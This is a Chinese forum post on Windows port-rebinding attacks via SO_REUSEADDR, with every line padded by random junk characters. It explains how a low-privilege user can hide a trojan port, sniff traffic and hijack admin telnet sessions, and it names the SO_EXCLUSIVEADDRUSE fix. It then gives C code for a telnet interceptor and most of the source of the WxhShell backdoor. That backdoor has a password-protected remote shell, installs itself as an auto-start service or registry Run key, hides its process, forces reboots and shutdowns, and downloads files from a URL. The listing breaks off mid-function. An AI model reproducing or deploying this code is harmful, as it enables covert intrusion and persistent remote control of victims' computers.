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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G@Dw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1XZ|}Xz  
]Y[8|HJ8  
  saddr.sin_family = AF_INET; v2<roG6.V  
x/$s:[0B#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WWF#&)ti  
Y =3:Q%X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >/Z#{;kOz  
5G8`zy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )2X ng_,  
X-di^%<  
  这意味着什么?意味着可以进行如下的攻击: ZyqTtA!A  
JL1%XQ i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t;+6>sTu  
QjfQoT F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n3{m "h3  
fM]McZ9)D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ki6`d?  
\\jB@O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /p') u3  
@]f"X>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 . FT*K[+ih  
n<:/ X tE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #)%N+Odnr  
zOq~?>Ms6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )@Yp;=l  
f}bUuQrH-!  
  #include Y_`D5c:  
  #include `$`:PT\Zv4  
  #include {+[~;ISL  
  #include    Yt*M|0bL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9frx60  
  int main() Ms ?V1  
  { \S;% "0!  
  WORD wVersionRequested; wxZnuCO%H8  
  DWORD ret; fiTMS:  
  WSADATA wsaData; fmie,[  
  BOOL val; jG{} b6  
  SOCKADDR_IN saddr; %5RYa<oP  
  SOCKADDR_IN scaddr; @M4~,O6-  
  int err; uAyj##H  
  SOCKET s; Pi6C1uY6  
  SOCKET sc; |bDN~c:/  
  int caddsize; w_^&X;0^  
  HANDLE mt; h~elF1dG  
  DWORD tid;   bWv6gOPR3  
  wVersionRequested = MAKEWORD( 2, 2 ); PKC``+K i  
  err = WSAStartup( wVersionRequested, &wsaData ); K_nN|'R-  
  if ( err != 0 ) { !U]V?Jpi"  
  printf("error!WSAStartup failed!\n"); CTtF=\  
  return -1; G;Y,C<)0k  
  } u0$7k9mE  
  saddr.sin_family = AF_INET; sXTt )J  
   HH6b{f@^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }eb%"ZH4|  
w0~iGr}P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k`js~/Xv  
  saddr.sin_port = htons(23); 0[D5]mcv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )T#;1qNB  
  { ?9X#{p>q  
  printf("error!socket failed!\n"); :=~%&  
  return -1; >4\V/ I  
  } l{#m"S7J^  
  val = TRUE; iCN@G&rVw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GMU<$x8o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *cp|lW!ag  
  { #2DH_P  
  printf("error!setsockopt failed!\n"); z/fRd6|[  
  return -1; N(&FATZUW  
  } Nl_!%k:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qx{.`AaZW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &7Ixf?e!K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `#fOY$#XB  
2xe_Q70II  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kVU|k-?2  
  { OJ UM Y<5  
  ret=GetLastError(); LO.4sO  
  printf("error!bind failed!\n"); QY+#Vp<`  
  return -1; Vu\|KL|  
  } R)cns7oW  
  listen(s,2); `1EBnL_1  
  while(1) 1`O`!plD+  
  { d(wqKiGwe  
  caddsize = sizeof(scaddr); 'n:Ft  
  //接受连接请求 %~p_bKd~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N/{A ' Wd  
  if(sc!=INVALID_SOCKET) .F#mT h  
  { Q77qrx3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  8k J k5  
  if(mt==NULL) '0 ( Bb  
  { v/+dx/  
  printf("Thread Creat Failed!\n"); *, *"G?  
  break; FZ=6x}QZ  
  } g#[9O'H  
  } `8FC&%X_  
  CloseHandle(mt); ]Jnf. 3  
  } .?I!/;=[  
  closesocket(s); iZMsN*9[  
  WSACleanup(); #-'}r}1ZT  
  return 0; k|A!5A2  
  }   ]Vb#(2<2  
  DWORD WINAPI ClientThread(LPVOID lpParam) =V5.c+  
  { V2VsJ  
  SOCKET ss = (SOCKET)lpParam; h!K B%4V  
  SOCKET sc; IJ4"X#Q/  
  unsigned char buf[4096]; 8~HC0o\2  
  SOCKADDR_IN saddr; \)M 5o  
  long num; (X!/tw,.  
  DWORD val; p~8~EQFj  
  DWORD ret; X3W)c&Pr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M8[YW|VkP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @O45s\4-*  
  saddr.sin_family = AF_INET; :m&`bq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~7 `x9MUc  
  saddr.sin_port = htons(23); C9=f=sGL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J$e.$ah;  
  { K,IOD t  
  printf("error!socket failed!\n"); ,o9)ohw  
  return -1; !5B9:p~-  
  } G4x.''r&Sl  
  val = 100; pK'WJ 72U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EW5S%Y  
  { b,Z& P|  
  ret = GetLastError(); g~B@=R  
  return -1; +W;B8^imG  
  } `n5c|`6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I.8|kscM  
  { 0'py7  
  ret = GetLastError(); oVq@M  
  return -1; V)@MM2,  
  } ';ZJuJ.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h5f>'l z  
  { a^=4 '.ok  
  printf("error!socket connect failed!\n"); l4/TJ%`MG  
  closesocket(sc); Ki=7nKs  
  closesocket(ss); q#p)E=$  
  return -1; 5z]dA~;*2  
  } Nb];LCx  
  while(1) %M`|0g}!  
  { {?!hUi+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u^]yz&9V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p +T&9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D~?kvyJ  
  num = recv(ss,buf,4096,0); P);Xke  
  if(num>0) )K?GAj]Pq  
  send(sc,buf,num,0); ! 4oIx`  
  else if(num==0) Qy70/on9  
  break; VuPET  
  num = recv(sc,buf,4096,0); M:I,j  
  if(num>0) F}AbA pTv  
  send(ss,buf,num,0); =d5!O~}r>  
  else if(num==0) z9'0&G L  
  break; 9~; Ju^b  
  } H]-W$V   
  closesocket(ss); ?s?uoZ /2  
  closesocket(sc); QE#$bCw  
  return 0 ; =TP>Y"  
  } \ yOZ&qU  
4O`h%`M  
mCE})S  
========================================================== EmUxM_ T/2  
7q^/.:wlf  
下边附上一个代码,,WXhSHELL Z~c7r n  
Bjo&  
========================================================== 0ay!tS dN  
b?Jm)  
#include "stdafx.h" -$0S#/)Z  
(mD]}{>  
#include <stdio.h> ?Tl@e   
#include <string.h> xw-q)u  
#include <windows.h> vJCL m/}*  
#include <winsock2.h> sY6'y'a95  
#include <winsvc.h> 5 rWRE-  
#include <urlmon.h> = ]@xXVf/  
)/ZSb1!  
#pragma comment (lib, "Ws2_32.lib") V")Q4h{  
#pragma comment (lib, "urlmon.lib") F0JFx$AoD  
]OrFW4tiE  
#define MAX_USER   100 // 最大客户端连接数 IY19G U9  
#define BUF_SOCK   200 // sock buffer Kulg84<AwM  
#define KEY_BUFF   255 // 输入 buffer B.G!7>=  
*Qf }4a0  
#define REBOOT     0   // 重启 7wqwDE  
#define SHUTDOWN   1   // 关机 #NE^f2  
*Vc=]Z2G^  
#define DEF_PORT   5000 // 监听端口 Tk!b`9  
`o3d@Vc  
#define REG_LEN     16   // 注册表键长度 u#,]>;  
#define SVC_LEN     80   // NT服务名长度 4bBxZY  
9F+bWo_m  
// 从dll定义API {S}@P~H =  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yo(B8}?0!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i\ Vpp8<B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NN:TT\!v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L[bGO|O  
BJE <~"  
// wxhshell配置信息 -,;Ep'  
struct WSCFG { cR&xl^BJ  
  int ws_port;         // 监听端口 KwHOV$lD;  
  char ws_passstr[REG_LEN]; // 口令 $G_<YVXcG  
  int ws_autoins;       // 安装标记, 1=yes 0=no :acQK=fe  
  char ws_regname[REG_LEN]; // 注册表键名 d0=nAZZ  
  char ws_svcname[REG_LEN]; // 服务名 uUe\[-~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G8s`<:9*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0/6&2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [GP( r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [o.zar82  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C|I 1 m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AWDjj\Q4  
16>uD;G  
}; vf =  
U %ESuq#  
// default Wxhshell configuration cP1jw%3P  
struct WSCFG wscfg={DEF_PORT, K;qZc\q  
    "xuhuanlingzhe", PWMaB  
    1, zEB1Br,  
    "Wxhshell", }j?S?=;m=  
    "Wxhshell", .+Ej%|l%  
            "WxhShell Service", -^b^6=#  
    "Wrsky Windows CmdShell Service", E5(Y*m!  
    "Please Input Your Password: ", \zi3.;9|;  
  1, c6HU'%v  
  "http://www.wrsky.com/wxhshell.exe", zK 2wLX  
  "Wxhshell.exe" UW*aSZ/?  
    }; O0~d6Ba   
h9I )<_}R  
// 消息定义模块 wuzz%9;@B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XNU qZ-M :  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [&CM-` N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FZ9<Q  
char *msg_ws_ext="\n\rExit."; ^kr)U8  
char *msg_ws_end="\n\rQuit."; W/>?1+r.Z  
char *msg_ws_boot="\n\rReboot..."; iy]}1((hR  
char *msg_ws_poff="\n\rShutdown..."; [hL1 PWKs  
char *msg_ws_down="\n\rSave to "; !I[n|r"  
7fay:_  
char *msg_ws_err="\n\rErr!"; 32iI :u  
char *msg_ws_ok="\n\rOK!"; JF*g!sV%  
>, E$bm2  
char ExeFile[MAX_PATH]; m-89nOls  
int nUser = 0; 6p " c ^  
HANDLE handles[MAX_USER]; hU 7fZl%yl  
int OsIsNt; ]M(mq`K  
9oP{Al  
SERVICE_STATUS       serviceStatus; *d@Hnu"q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /[? F1Q  
E aD@clJS  
// 函数声明 =%\6}xPEl<  
int Install(void); EKPTDKut  
int Uninstall(void); qDM[7q3.  
int DownloadFile(char *sURL, SOCKET wsh); C._sgO  
int Boot(int flag); ak) -OL1  
void HideProc(void); X~he36-+<  
int GetOsVer(void); XO#)i6}G  
int Wxhshell(SOCKET wsl); ik *)j  
void TalkWithClient(void *cs); 0Qp'}_  
int CmdShell(SOCKET sock); ,)$KS*f"*z  
int StartFromService(void); 38rZ`O*D  
int StartWxhshell(LPSTR lpCmdLine); 5|CiwQg|,p  
3\n{,Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1fFb 7n~3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =&pN8PEn\  
&fW=5'  
// 数据结构和表定义 s[q4K  
SERVICE_TABLE_ENTRY DispatchTable[] = U"+ ry.3`  
{ ig}e@]  
{wscfg.ws_svcname, NTServiceMain}, Qe$>Jv5  
{NULL, NULL} !>< %\K  
}; r ` &|)Hx  
yim$y, =d  
// 自我安装 ?=!XhU .  
int Install(void) .w_`d'}  
{ RQCQGa^cP  
  char svExeFile[MAX_PATH]; V;-.38py  
  HKEY key; Ue#yDTjc  
  strcpy(svExeFile,ExeFile); _IV@^v  
)v=G}j^  
// 如果是win9x系统,修改注册表设为自启动 cXcx_-  
if(!OsIsNt) { 4E-A@FR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *ZR@ z80i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AaYrVf 9!  
  RegCloseKey(key); TucAs 0-bF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Wx@[!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g]<Z]R`  
  RegCloseKey(key); OgN1{vRFx  
  return 0; L4pjh&+8  
    } "&#W Mi  
  } d^5SeCs6  
} '[ g)v  
else { BZ+ mO  
As~p1%nok  
// 如果是NT以上系统,安装为系统服务 P5}[*k%DQw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q 95  
if (schSCManager!=0) P%`R7yk  
{ \678Nx  
  SC_HANDLE schService = CreateService s#4ew}  
  ( Zng` oFD  
  schSCManager, iQ!  
  wscfg.ws_svcname, 7ml0  
  wscfg.ws_svcdisp, y)/$ge _U  
  SERVICE_ALL_ACCESS, };m7FO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !""!sFx)R  
  SERVICE_AUTO_START, Z ;y}gv/ {  
  SERVICE_ERROR_NORMAL, As'M3 9*V  
  svExeFile, ^T&u!{82j  
  NULL, Sq|1f?_gU  
  NULL, =x0"6gTz>  
  NULL, !@Sf>DM"  
  NULL, VuMDV6^Z  
  NULL W B*`zCM  
  ); 5uV"g5?w  
  if (schService!=0) vvsNWA  
  { 6G<Hi"I  
  CloseServiceHandle(schService); Cre0e$ a  
  CloseServiceHandle(schSCManager); RpXs3=9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZC5Yve8  
  strcat(svExeFile,wscfg.ws_svcname); ^s@*ISY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :uwRuPI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mrhp)yF  
  RegCloseKey(key); @ oz&  
  return 0; *[xNp[4EU  
    } ;WS7.  
  } QR5,_wJ&  
  CloseServiceHandle(schSCManager); (>LHj]}K  
} sMfFm@\N  
} K"k"ml<4E  
]PzTl {]  
return 1; r$r&4d Y  
} c_z/At;4  
L_gsG|xX  
// 自我卸载 aC,vh1")F  
int Uninstall(void) 0"kE^=  
{ e.}3OK  
  HKEY key; LD~Jbq  
`F2*o47|t  
if(!OsIsNt) { ^KZAYB9C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *)NR$9lGv  
  RegDeleteValue(key,wscfg.ws_regname); B)DC,+@$  
  RegCloseKey(key); <Id1:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F/h:&B:;  
  RegDeleteValue(key,wscfg.ws_regname); )pS_+ZF  
  RegCloseKey(key); V^ fGRA  
  return 0; {FJX  
  } 7z g)h  
} iVq#aXN  
} {wp Mg  
else { g8+4$2`ny  
-[f "r`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T`g?)/  
if (schSCManager!=0) Lf; ta  
{ @vdc)vN[ /  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  UL)"  
  if (schService!=0) 8)W?la8'p  
  { 5xMA~I0c  
  if(DeleteService(schService)!=0) { k,;lyE  
  CloseServiceHandle(schService); Pu$kj"|q*[  
  CloseServiceHandle(schSCManager); *CH!<VB/  
  return 0; 5y(t`Fmt  
  } +(z_"[l"  
  CloseServiceHandle(schService); wsf Hd<Z_  
  } aT?p>  
  CloseServiceHandle(schSCManager); IYfV~+P  
} $_ix6z  
} B_."?*|w  
BP[CR1Gs  
return 1; +Mk*{ A t  
} sd]54&3A  
3 ^02fy  
// 从指定url下载文件 &?/N}g@K  
int DownloadFile(char *sURL, SOCKET wsh) +QIGR'3u  
{ ;z.6'EYMG  
  HRESULT hr; yfM>8"h@  
char seps[]= "/"; `'xQ6Sy  
char *token; B?$01?9V  
char *file; <OR.q  
char myURL[MAX_PATH]; {k_ PMl0G  
char myFILE[MAX_PATH]; BaWQ<T8p8  
60hNCVq%  
strcpy(myURL,sURL); &TP:yA[  
  token=strtok(myURL,seps); ch0oFc$  
  while(token!=NULL) :(bdI]  
  { 3{Na ZIk  
    file=token; DA+A >5/  
  token=strtok(NULL,seps); ZL4l (&"  
  } n0+g]|a AF  
g[#k.CuP  
GetCurrentDirectory(MAX_PATH,myFILE); 'DCKD4@C/  
strcat(myFILE, "\\"); }b_R5U$@@  
strcat(myFILE, file); lfxuc7Rdla  
  send(wsh,myFILE,strlen(myFILE),0); Bmx(qE  
send(wsh,"...",3,0); C<[d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w8 ?Pb$Fe  
  if(hr==S_OK) mP9cBLz  
return 0; C1X}3bB  
else d98))G~W  
return 1; r/mA2  
a&$Zpf!!  
} =@xN(] (  
h^o+E2<]  
// 系统电源模块 &K5C=]4  
int Boot(int flag) Y%78>-2 L  
{ y 2z{rd  
  HANDLE hToken; qpb/g6g  
  TOKEN_PRIVILEGES tkp; cm@jt\D  
i{TIm}_\  
  if(OsIsNt) { bK ?1MiXb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y brx%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :dc"b?Ch  
    tkp.PrivilegeCount = 1; c@RT$Q9j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; opm?':Qst  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p+orBw3  
if(flag==REBOOT) { 9U#\nXM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z{Vxr*9oO  
  return 0;  FovE$Dj]  
} +<pVf%u5  
else { nGq]$h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ef2Y l  
  return 0; y]yine  
} jMN)?6$=  
  } u|(Ux~O  
  else { lq:]`l,6@  
if(flag==REBOOT) { Sp 7u_Pq{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c:=7lI  
  return 0; `%$8cZ-kr  
} _R EqT  
else { `+roQX.p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C1h#x'k  
  return 0; y\^@p=e  
} O{PW  
} #$LH2?)  
rlR !&  
return 1; seu ~'s-  
} } sf YCz  
)HEfU31IC  
// win9x进程隐藏模块 ;c1relR2  
void HideProc(void) LMAmpVo  
{ ^ Xm/  
M0RRmW@f.a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K@q&HV"'.  
  if ( hKernel != NULL ) 2ubmsbt$  
  { Dq?E\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fZ[kh{|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y&1%1 #8F  
    FreeLibrary(hKernel); uCw>}3  
  } RG&I\DTyt  
Dt W*n1Bt  
return; `&7mHa61  
} #":: ' ?,  
fi=0{  
// 获取操作系统版本 dw~[9oh  
int GetOsVer(void) ):3MYSqX  
{ *~c qr  
  OSVERSIONINFO winfo; 3I|O^   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \,2gTi,=  
  GetVersionEx(&winfo); w'A tf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '0 ]r<O  
  return 1; E_~x==cb  
  else Yg/}ghF\  
  return 0; q7|:^#{av  
}  #;`Oj  
xZX`%f-  
// 客户端句柄模块 W$r^  
int Wxhshell(SOCKET wsl) @cZ\*,T  
{ Mal<iNN  
  SOCKET wsh; ba8 6 N  
  struct sockaddr_in client; ,I ZqLA  
  DWORD myID; .hKhrcQp  
a.?v*U@z@#  
  while(nUser<MAX_USER) ~F;CE"3A  
{ ?KCivf  
  int nSize=sizeof(client); {J2#eiF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N&"QKd l  
  if(wsh==INVALID_SOCKET) return 1; "# 2pT H~  
@}(SR\~N]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _lXt8}:+  
if(handles[nUser]==0) {=3B)+N  
  closesocket(wsh); (%bE~Q2P*<  
else |k6Ox*  
  nUser++; Axlm<3<wf"  
  } IK'F{QPH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b vRB  
gY!N3 *:  
  return 0; lkb2?2\+  
} _%{0?|=  
%%&e"&7HE  
// 关闭 socket z$|;-u|  
void CloseIt(SOCKET wsh) B52yaG8C  
{ @T ysXx  
closesocket(wsh); +oZH?N4yaM  
nUser--; b0 &  
ExitThread(0); +Qs!Nhsq  
} TiyUr [  
m2(E>raV6  
// 客户端请求句柄 T6uMFD4 |  
void TalkWithClient(void *cs) !{(ls<  
{ `a >?UUT4  
qp>N^)>  
  SOCKET wsh=(SOCKET)cs; 4d`+CD C  
  char pwd[SVC_LEN]; +"8}R~`!  
  char cmd[KEY_BUFF]; yAG+] r  
char chr[1]; C',6%6P  
int i,j; xIL#h@dz  
0Gsu  
  while (nUser < MAX_USER) { i6Qb[\;  
T#@{G,N  
if(wscfg.ws_passstr) { H@D;e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F.?01,J=1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b/u8} J  
  //ZeroMemory(pwd,KEY_BUFF); Ns<?b;aK  
      i=0; q jz3<`7-  
  while(i<SVC_LEN) { hbI;Hd  
(rcMA>2=  
  // 设置超时 2 z7}+lH  
  fd_set FdRead; u]E.iXp  
  struct timeval TimeOut; t`YWwI.  
  FD_ZERO(&FdRead); =u=Kw R  
  FD_SET(wsh,&FdRead); qnJ50 VVW  
  TimeOut.tv_sec=8; Uyk,.*8"  
  TimeOut.tv_usec=0; .x-J44i@/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $mpO?D J~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^I`a;  
Blk}I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Jydu   
  pwd=chr[0]; % :/_f  
  if(chr[0]==0xd || chr[0]==0xa) { 3z3_7XI  
  pwd=0; .'j29 6[u  
  break;  $:EG%jl  
  } Uw)=WImz[  
  i++; b7Oj<! Wo`  
    } jj,r <T  
l5k?De_(x  
  // 如果是非法用户,关闭 socket ORBxD"J&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); : @6mFTV  
} =7 w>wW-  
Fp%Ln(/m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gn)R^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ){P^P!s$  
_ym"m,,7?  
while(1) { zkexei4^<  
.'T40=7  
  ZeroMemory(cmd,KEY_BUFF); ag 8`O&+  
{eQWO.C{  
      // 自动支持客户端 telnet标准   GeV+/^u  
  j=0; .z-UOyer  
  while(j<KEY_BUFF) { UpfZi9v?W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g_aCHEFBv  
  cmd[j]=chr[0]; W5SNI>|E  
  if(chr[0]==0xa || chr[0]==0xd) { vHcqEV|P/n  
  cmd[j]=0; `PlOwj@u0`  
  break; {^mKvc  
  } S6sq#kcH  
  j++; @AQwr#R"l  
    } `}fw1X5L  
C:i|-te  
  // 下载文件 @i LIU}+  
  if(strstr(cmd,"http://")) { +,5-qm)Gh>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rs]I  
  if(DownloadFile(cmd,wsh)) HB iBv-=,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -RMi8{  
  else ] fwZAU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,_ .v_  
  } )`+YCCa6F  
  else { ~OypE4./1  
E[g*O5  
    switch(cmd[0]) { =\3Tv  
  +Qj(B@ i  
  // 帮助 ?*u*de[,  
  case '?': { %j+xgX/&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hd &{d+B  
    break; p&Ed\aQ%z;  
  } %d;ezY'2  
  // 安装 p2 %  
  case 'i': { 1m@^E:w  
    if(Install()) BVpO#c~I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.[rLJZ4  
    else  P_Hv%g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t ^SzqB  
    break; >:1P/U  
    } !{%&=tIZ  
  // 卸载 ,wAz^cK|  
  case 'r': { e0HfP v_  
    if(Uninstall()) . iwZ*b{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W+=o&V  
    else R 9 4^4I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _NZ@4+aW  
    break;  Mps5Vv  
    } >BVoHt~;  
  // 显示 wxhshell 所在路径 5:.{oSy7n  
  case 'p': { rS8 w\`_  
    char svExeFile[MAX_PATH]; c&nh>oN  
    strcpy(svExeFile,"\n\r"); O XP\R  
      strcat(svExeFile,ExeFile); G }nO@  
        send(wsh,svExeFile,strlen(svExeFile),0); t^tmz PWA  
    break; jp2Q 9Z  
    } %; "@Ah  
  // 重启 YN/ }9.  
  case 'b': { Dt|)=a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~+6Vdx m  
    if(Boot(REBOOT)) Cb;WZ3HR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F7*wQ{~  
    else { aHzHvl  
    closesocket(wsh); ca<"  
    ExitThread(0); zZ-\a[F  
    } u9qMqeF  
    break; f58?5(Dc|  
    } 5 `/< v^  
  // 关机 @R|'X  
  case 'd': { V^s0fWa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D<$XyP  
    if(Boot(SHUTDOWN)) R9+jW'[K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #U mF-c  
    else { YX*x&5]lq  
